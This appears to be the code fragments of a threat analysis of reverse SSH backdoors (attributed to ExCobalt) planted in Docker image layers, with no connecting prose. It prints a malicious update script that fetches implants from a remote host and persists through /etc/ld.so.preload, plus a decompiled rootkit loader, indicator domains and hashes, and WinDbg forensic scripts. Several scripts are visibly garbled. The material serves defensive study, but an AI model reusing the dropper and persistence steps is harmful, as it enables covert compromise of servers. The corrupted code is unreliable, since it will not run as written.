/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/processes — Reverse SSH
/var/lib/docker/overlay2/[REDACTED]/diff/usr/bin/checks — ExСobalt Reverse SSH

docker save myimage:latest | gzip > myimage_latest.tar.gz

{
   "created": "2023-08-11T01:13:12",
   "created_by": "/bin/sh -c #(nop) COPY file:[REDACTED] in / "
},
{
   "created": "2023-08-11T01:13:18",
   "created_by": "/bin/sh -c /bin/bash /update"
}

#!/bin/bash
rm -- $0
apt update
apt install wget curl -y
apt-get clean autoclean
apt-get autoremove --yes
wget -q [REDACTED]:8000/bin/rev_sh_dns -O /usr/bin/checks
wget -q [REDACTED]:8000/bin/rev_ssh -O /usr/bin/processes
wget -q [REDACTED]:8000/lib/libssoc.so.3h -O /usr/lib/x86_64-linux-gnu/libssoc.so
chmod +x /usr/bin/checks /usr/bin/processes /usr/lib/x86_64-linux-gnu/libssoc.so
echo "/usr/lib/x86_64-linux-gnu/libssoc.so" >> /etc/ld.so.preload

leo.rpm-bin.link
mirror.dpkg-source.info

e49b72e58253f4f58f9c745757eb3ab0
3bd5560b50c751c91056bfe654f9bc70
ef587305a462161682f74d0cad139caa

int __cdecl main(int argc, const char **argv, const char **envp)
{
  if ( getuid() )
  {
    fwrite("Agent must be run as root\n", 1uLL, 0x1AuLL, stderr);
    return 1;
  }
  else
  {
    extract_file("/root/.agent.elf", agent_elf, 30400uLL);
    extract_file("/lib/modules/5.15.0-67-generic/kernel/drivers/misc/maldrv.ko", maldrv_ko, 446880uLL);
    extract_file("/root/.messenger.py", messenger, 5295uLL);
    inject(shellcode_out, 136uLL);
    call_all_plugins("/root/.agent.elf");
    return 0;
  }
}

SHA-256:
40BB351F8B5AC6A02CD2A31D1683CC1ADB4C0C949346F51C2746F023004C5361
E908E1F4B799E1B5F38FCC8E6B1300E3604A101CF367D3431D82EEDDD1A02A05
68B3C2E7EF26C0432D7DEBFEB8CBCEE2F557A52B5662B3B3B49DCE21E0B288A4

0: kd> dx @$explorer = "explorer.exe"
0: kd> bp /w "@$curprocess.Name.ToLower().StartsWith(@$explorer)" nt!NtCreateFile "dx ((_OBJECT_ATTRIBUTES*)@r8)->ObjectName->Buffer; gc"

"use strict";

function WriteMemoryCallback()
{
    if  (host.currentThread.Registers.User.rcx == -1)
    {
        return;
    }

    let address = host.currentThread.Registers.User.rdx; 
    let buffer  = host.currentThread.Registers.User.r8;
    let length  = host.currentThread.Registers.User.r9;
    let filename = ${host.currentProcess.Name}-${buffer.toString(16)}.dmp;

    let file = host.namespace.Debugger.Utility.FileSystem.TempDirectory.CreateFile(
        filename, 'CreateNew');

    file.WriteBytes(host.iss.onemory.readMemoryValues(buffer, length, 1));
    host.diagnostics.debugLog(`dumped ${length} bytes to ${filename}\n`);
    file.Close();
}

function initializeScript()
{
    return [new host.apiVersionSupport(1, 9)];
}

function invokeScript()
{
    let bp = host.namespace.Debugger.Utility.Control.SetBreakpointAtOffset("NtWriteVirtualMemory", 0, "nt");
    bp.Command = `dx @$scriptContents.WriteMemoryCallback(); gc`;
}

let exec = host.namespace.Debugger.Utility.Control.ExecuteCommand;
let command = `dx @$scriptContents.BreakPointCallback(); gc`;
exec("bc *");
exec(`bp 0xfffffc024d546a88 "${command}"`);

const log  = x => host.diagnostics.debugLog(x + '\n');
const u64  = x => host.iss.onemory.readMemoryValues(x, 1, 8)[0];
const exec = x => host.namespace.Debugger.Utility.Control.ExecuteCommand(x);

function ParseCallbacks(Symbol, Size)
{
    log([+] ${Symbol}:);
    let base = host.getModuleSymbolAddress("nt", Symbol);
    if (base == null)
        return;
    for (let i = 0; i < Size; i++)
    {
        let entry = u64(base.add(i * 8));
        if (entry.compareTo(0) != 0)
        {
            entry = entry.bitwiseAnd(-16);
            let callback = u64(entry.add(8));
            log(\t${exec(.printf "%y", ${callback}).First()});
        }
    }
}

function CallbackEnumerator()
{
    ParseCallbacks("PspCreateProcessNotifyRoutine", 64);
    ParseCallbacks("PspCreateThreadNotifyRoutine", 64);
    ParseCallbacks("PspLoadImageNotifyRoutine", 8);
}

function initializeScript()
{
    return [new host.apiVersionSupport(1, 7),
            new host.functionAlias(CallbackEnumerator, "callbacks")];
}